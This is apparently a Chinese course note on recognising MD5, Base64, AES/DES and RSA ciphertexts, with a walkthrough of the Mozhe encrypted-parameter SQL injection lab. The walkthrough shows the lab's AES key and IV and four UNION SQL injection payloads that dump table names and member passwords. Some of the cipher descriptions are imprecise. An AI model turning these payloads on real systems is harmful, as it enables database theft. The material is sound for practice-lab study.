第9天:基础入门-算法逆向&散列对称非对称&JS源码逆向&AES&DES&RSA&SHA

各种密文的特点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
单向散列加密算法的优点有(以MD5为例):
方便存储,损耗低:加密/加密对于性能的损耗微乎其微。
单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。
常见的有:
MD5 SHA MAC CRC


对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
常见的有:
DES AES RC4


非对称加密 -RSA
非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
常见的非对称加密算法:
RSA RSA2 PKCS


MD5密文的特点:
1.由数字“0-9”和字母“a-f”所组成的字符串
2.固定的位数 16位和 32位
解密需求:密文即可,但复杂明文可能解不出

Base64编码特点:
0.大小写区分,通过数字和字母的组合
1.一般情况下密文尾部都会有两个=,明文很少的时候则没有
2.明文越长密文越长,一般不会出现“/”在密文中

AES,DES密文特点:
同BASE64基本类似,但一般出现“/”和“+”在密文中
解密要求:密文,模式,加密key,偏移量,条件满足才可以解出

RSA密文特点:
特征同AES,DES相似,但是长度较长(且长度在一定的范围内)
解密需求:密文,公钥和私钥即可解出

对称加密

对称加密(Symmetric Encryption)是一种使用单一密钥进行数据加密和解密的密码学技术。其原理可概括为:

  • 加密过程:明文 + 密钥 → 密文
  • 解密过程:密文 + 密钥 → 明文

非对称加密

非对称加密(Asymmetric Encryption)使用一对密钥(公钥和私钥)进行加密和解密:

  • 公钥:公开分发,用于加密数据或验证签名。
  • 私钥:严格保密,用于解密数据或生成签名。
操作 加密方向 密钥使用 核心目标 数学原理
公钥加密 公钥 → 私钥 公钥加密,私钥解密 数据保密 大数分解(如RSA)
私钥签名 私钥 → 公钥 私钥签名,公钥验证 身份认证与完整性 椭圆曲线(如ECC)
  1. 公钥加密(Encryption)
    • 操作:用公钥加密数据,仅能由对应的私钥解密。
    • 目的:实现保密通信(Confidentiality)。
    • 典型场景:HTTPS中客户端用服务端公钥加密对称密钥。
  2. 私钥加密(签名,Signing)
    • 操作:用私钥加密数据的哈希值(即生成签名),可由对应的公钥验证。
    • 目的:实现身份认证(Authentication)与不可否认性(Non-repudiation)。
    • 典型场景:数字签名、代码签名。

墨者sql注入靶场,参数加密靶场

首先进行目录扫描:

image-20250503221311681

得到news目录,发现有源码下载之后分析:

image-20250503221418779

这里首先是AES128的加密(加密的key:ydhaqPQnexoaDuW3,偏移量:2018201920202021)方式,然后使用base64加密了两次

image-20250503221259493

所以我们进行反转的时候的顺序是:aes128加密—>base64编码—>base64编码

1
2
3
4
5
6
7
8
-1 union select 1,database(),version(),4_mozhe

-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1_mozhe

-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member' limit 0,1_mozhe


-1 union select 1,group_concat(name,password),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe

image-20250503222111904

image-20250503222128941

image-20250503221857631

image-20250503222043926

1
2
3
4
在线解密PHP代码:http://dezend.qiling.org/free.html

30余种加密编码类型的密文特征分析:
https://mp.weixin.qq.com/s?__biz=MzAwNDcxMjI2MA==&mid=2247484455&idx=1&sn=e1b4324ddcf7d6123be30d9a5613e17b&chksm=9b26f60cac517f1a920cf3b73b3212a645aeef78882c47957b9f3c2135cb7ce051c73fe77bb2&mpshare=1&scene=23&srcid=1111auAYWmr1N0NAs9Wp2hGz&sharer_sharetime=1605145141579&sharer_shareid=5051b3eddbbe2cb698aedf9452370026#rd